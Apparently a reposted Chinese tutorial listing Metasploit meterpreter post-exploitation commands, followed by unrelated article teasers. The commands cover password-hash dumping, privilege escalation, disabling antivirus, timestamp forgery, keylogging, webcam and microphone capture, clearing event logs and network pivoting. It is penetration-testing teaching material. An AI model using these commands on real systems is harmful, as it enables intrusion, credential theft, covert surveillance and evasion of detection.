12、后渗透测试--meterpreter使用

news2024/11/27 14:49:27
Post后渗透模块
在meterpreter > 中我们可以使用以下的命令来实现对目标的操作。
 

一、基本系统命令

sessions    # sessions –h 查看帮助
sessions -i <ID值>  # 进入会话   -k  杀死会话
background  # 将当前会话放置后台
info   # 查看已有模块信息
getuid   查看获取的当前权限
getsystem           提权
getpid    # 获取当前进程的pid
sysinfo   # 查看目标机系统信息
ps          # 查看当前活跃进程    kill <PID值> 杀死进程
idletime            查看目标机运行时间
 
hashdump     # 从SAM数据库导出密码的哈希
 
reboot / shutdown   # 重启/关机
shell     # 进入目标机cmd shell
load kiwi           加载wiki模块
run                   使用扩展库,执行已有的模块,输入run后按两下tab,列出已有的脚本
run  killav         关闭杀毒软件
 
run scraper         查看目标主机详细信息

 二、execute执行文件

execute  参数  -f 可执行文件   执行可执行程序
execute -H -i -f cmd.exe    # 创建新进程cmd.exe,-H不可见,-i交互
 

三、目录/文件操作

pwd / getwd   目标机器上当前目录(windows)
cd     # 目标机器上切换目录
ls      目标机器上显示
dir    目标机器上查看
mkdir dir1 dir2
mv oldfile newfile
rmdir dir1
  
getlwd / lpwd  查看攻击机当前目录(Linux)
lls       # 在攻击机显示
lcd      # 在攻击机上切换目录
 
cat C:\\Users\\zq\\Desktop\\123.txt    # 目标机器上读取内容
edit C:\\Users\\zq\\Desktop\\123.txt   # 篡改目标机器上的文件
search -f *.jsp -d e:\              搜索E盘中所有以.jsp为后缀的文件
upload msfdb /root/Desktop/Kage.0.1.1-beta_linux.AppImage C:\\Users\\zq\\Desktop    将两个文件传到目标机的桌面
download  C:\\Users\\zq\\Desktop\\123.txt  /root       将目标机的e:\test.txt文件下载到/root目录

四、timestomp伪造时间戳

timestomp C:// -h    # 查看帮助
timestomp -v C://2.txt   # 查看时间戳
timestomp C://2.txt -f C://1.txt    # 将1.txt的时间戳复制给2.txt

五、进程

ps     查看目标主机活跃进程信息
getpid         # 查看当前Meterpreter Shell的进程
migrate 1732    将当前Meterpreter Shell的进程迁移到PID1732的进程上,这样不容器被发现
kill <pid值>   # 杀死进程

六、网络

arp   # 显示目标机器arp缓存
getproxy  # 显示目标机器的代理
ifconfig
netstat -ano
route
portfwd   # 端口重定向
portfwd add -l 3389 -p 3389 -r 172.16.0.100    # 将目标机的3389端口转发到本地3389端口
然后使用rdesktop ip远程登录:

七、autoroute添加路由

run autoroute –h    # 查看帮助
run autoroute -s 192.168.159.0/24  # 添加到目标环境网络
run autoroute –p  # 查看添加的路由
然后可以利用arp_scanner、portscan等进行扫描
run post/windows/gather/arp_scanner RHOSTS=192.168.159.0/24
run auxiliary/scanner/portscan/tcp RHOSTS=192.168.159.144 PORTS=3389

八、uictl开关键盘/鼠标

uictl [enable/disable] [keyboard/mouse/all]  # 开启或禁止键盘/鼠标
uictl disable mouse  # 禁用鼠标
uictl disable keyboard  # 禁用键盘

九、用户接口命令(键盘嗅探,鼠标、屏幕、音频、摄像头

4-18 Meterpreter用户接口命令1_哔哩哔哩_bilibili
4-19 Meterpreter用户接口命令2_哔哩哔哩_bilibili
4-20 Meterpreter用户接口命令3_哔哩哔哩_bilibili
keyscan_start                开启键盘记录功能
在靶机上用键盘输入内容
keyscan_dump                 显示捕捉到的键盘记录信息
keyscan_stop                 停止键盘记录功能
 
鼠标:
  
screenshare  # 屏幕共享
保存在/usr/share/metasploit-framework/uDRIzzpV.html,可以直接浏览器打开。
 
screenshot   截图
 
record_mic   # 音频
play  # 播放音频
 
 
webcam_list         查看目标主机的摄像头
webcam_snap      # 目标主机摄像头拍照
webcam_stream       # 目标主机通过摄像头开视频
webcam_chat -h  开始与目标进行视频对话。

十、clearav清除日志

clearev     清除windows中的应用程序日志、系统日志、安全日志

十一、信息搜集脚本

run post/windows/manage/migrate                  #自动进程迁移    
run post/windows/gather/checkvm                  #查看目标主机是否运行在虚拟机上   
run post/linux/gather/checkvm    # 是否虚拟机
 
run post/windows/manage/killav                   #关闭杀毒软件    
run post/windows/manage/enable_rdp               #开启远程桌面服务    
run post/windows/manage/autoroute                #查看路由信息    
run post/windows/gather/dumplinks               #获取最近的文件操作
run post/windows/gather/enum_logged_on_users     #列举当前登录的用户    
run post/windows/gather/enum_applications        #列举应用程序    
run windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码    
run windows/gather/smart_hashdump                #dump出所有用户的hash

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/85834.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

CSS之段落样式

1、文本缩进 标签&#xff1a;text-indent &#xff08;indent v. 缩进&#xff09;含义&#xff1a;首行缩进和字体大小有关&#xff1a;1个em等于一个字体大小 2、文本对齐方式 标签&#xff1a;text-align (align v. 调整&#xff0c;使一致)种类&#xff1a;左对齐、右对…

AFDet: Anchor Free One Stage 3D Object Detection

论文链接&#xff1a;https://arxiv.org/pdf/2006.12671v1.pdf 前言 在嵌入式系统上操作的高效点云3D目标检测对于包括自动驾驶在内的许多机器人应用来说都是重要的。 大多数以前的工作都试图使用基于Anchor的检测方法来解决这个问题&#xff0c;这些方法有2个缺点&#xff1…

《MySQL的基础语法》

【一】现实当前的数据库 show databases:记住这里的databases是复数形式&#xff0c;你可以简单理解为它不仅仅含有一个数据库&#xff0c;所以需要用到可数名词复数形式。 【二】创建数据库 create database 数据库的名字&#xff1a;记住这里的database用的是单数形式&#…

Django demo项目搭建

安装 Django 在应用程序开发中&#xff0c;分别创建env文件夹和wordspace文件夹。 env文件夹用于存放创建的虚拟环境&#xff0c;wordspace用于存放项目代码&#xff0c;至此实现虚拟环境和应用程序代码的分隔。 步骤1&#xff1a;创建文件夹&#xff0c;创建命令为mkdir en…

静态链接:空间与地址分配

前言 我们终于走到了链接这一步&#xff0c;对于链接这一步&#xff0c;它是将多个输入目标文件链接后输出一个可执行文件。我们拿两个程序a.c和b.c来举例说明链接的过程。 a.c&#xff1a; /* a.c */ extern int shared;int main(){int a 100;swap(&a,&shared); }…

从Mybatis到Mybatis-Plus学习

从Mybatis到Mybatis-PlusMybatis的入门Mybatis的配置解析核心配置文件分页配置注解开发mybatis的执行流程多对一一对多动态SQLmybatis 的缓存Mybatis-plus快速入门mybatis-plus的框架结构图分页查询和删除执行SQL分析打印条件构造器Wrapper代码生成器Mybatis的入门 环境&#…

io复用函数的使用

目录 一、概念 二、使用 1.select系统调用 代码实现 前言&#xff1a; 一般多客户端在和服务器通信时&#xff0c;服务器在执行recv时会先阻塞&#xff0c;然后按照顺序依次处理客户端&#xff0c;无论客户端有无数据都会被处理&#xff0c;这样大大降低了执行效率。此时就引…

代理 模式

代理模式 Proxy Pattern 为其他对象提供一个代理以控制对这个对象的访问 可以详细控制访问某个&#xff08;某类&#xff09;对象的方法&#xff0c;在调用这个方法前做前置处理&#xff0c;调用这个方法后做后置处理。 静态代理 直接写死的代码的代理逻辑 动态代理 动态…

12.2、后渗透测试--令牌窃取

攻击机kali&#xff1a;192.168.11.106靶机windows server 2008 R2&#xff1a;192.168.11.134&#xff08;包含ms17_010漏洞&#xff09;一、令牌简介与原理 令牌(Token) 就是系统的临时密钥&#xff0c;相当于账户名和密码&#xff0c;用来决定是否允许这次请求和判断这次请求…

二进制搭建k8s——部署node节点

上篇&#xff1a;二进制搭建k8s——部署etcd集群和单master 二进制搭建k8s——部署node节点二进制搭建k8s——部署node节点环境部署node节点部署网络组件方法一&#xff1a;部署Flannel方法二&#xff1a;部署 CalicoCNI网络插件介绍Kubernetes的三种网络K8S 中 Pod 网络通信&a…

浅浅讲解下Linux内存管理之CMA

说明&#xff1a; Kernel版本&#xff1a;4.14ARM64处理器&#xff0c;Contex-A53&#xff0c;双核使用工具&#xff1a;Source Insight 3.5&#xff0c; Visio 1. 概述 Contiguous Memory Allocator, CMA&#xff0c;连续内存分配器&#xff0c;用于分配连续的大块内存。CMA…

c语言内存和文件处理有关知识

内存 分配内存的函数calloc&#xff0c;malloc 定义于头文件 <stdlib.h>功能malloc分配内存(函数)calloc分配并清零内存(函数)realloc扩充之前分配的内存块(函数)free归还还之前分配的内存(函数)aligned_alloc(C11)分配对齐的内存(函数) 函数原型 void *malloc(unsigne…

Java基础之Collection的ArrayList

Java基础之Collection的ArrayList一、add()与addAll()二、remove()三、trimToSize()1、案例一、add()与addAll() 跟C 的vector不同&#xff0c;ArrayList没有push_back()方法&#xff0c;对应的方法是add(E e)&#xff0c;ArrayList也没有insert()方法&#xff0c;对应的方法是…

Oracle---初学篇

Oracle初学篇 Oracle的启动&#xff0c;监听&#xff0c;用户 文章目录Oracle初学篇Oracle的启动Oracle的监听监听服务的主要文件1.listener.ora2.tnsnames.ora3.sqlnet.oraOracle用户Oracle安装成功后默认的三个用户创建用户Oracle的启动 之前写了关于如何在CentOS7上搭建Ora…

2021年全国研究生数学建模竞赛华为杯D题抗乳腺癌候选药物的优化建模求解全过程文档及程序

2021年全国研究生数学建模竞赛华为杯 D题 抗乳腺癌候选药物的优化建模 原题再现&#xff1a; 一、背景介绍   乳腺癌是目前世界上最常见&#xff0c;致死率较高的癌症之一。乳腺癌的发展与雌激素受体密切相关&#xff0c;有研究发现&#xff0c;雌激素受体α亚型&#xff0…

LeetCode 0547. 省份数量:图的连通分量

【LetMeFly】547.省份数量 力扣题目链接&#xff1a;https://leetcode.cn/problems/number-of-provinces/ 有 n 个城市&#xff0c;其中一些彼此相连&#xff0c;另一些没有相连。如果城市 a 与城市 b 直接相连&#xff0c;且城市 b 与城市 c 直接相连&#xff0c;那么城市 a …

Windows文件夹开启大小写敏感

Windows 的文件系统的文件名&#xff0c;是大小写不敏感的&#xff0c;也就是你的文件名是 a.txt 或者 A.txt&#xff0c;在 Windows 中都是一视同仁&#xff0c;认为是同一个文件。 自从 Windows 10 引入 Linux 子系统&#xff08;WSL&#xff09;后&#xff0c;有越来越多开…

JAVA毕业设计——基于ssm的汽车租赁管理系统 (源代码+数据库)

代码地址 https://github.com/ynwynw/carRental-public 毕业设计所有选题地址 https://github.com/ynwynw/allProject 基于Springboot的汽车租赁管理系统 (源代码数据库)601 一、系统介绍 汽车租赁系统总共分为两个大的模块&#xff0c;分别是系统模块和业务模块。其中系统模…

基于混沌原子搜索优化的电力系统(HPS)负载频率自动控制(ALFC)(Matlab代码实现)

&#x1f468;‍&#x1f393;个人主页&#xff1a;研学社的博客 &#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5; &#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜…

Spring Security 中的四种权限控制方式

Spring Security 中对于权限控制默认已经提供了很多了&#xff0c;但是&#xff0c;一个优秀的框架必须具备良好的扩展性&#xff0c;恰好&#xff0c;Spring Security 的扩展性就非常棒&#xff0c;我们既可以使用 Spring Security 提供的方式做授权&#xff0c;也可以自定义授…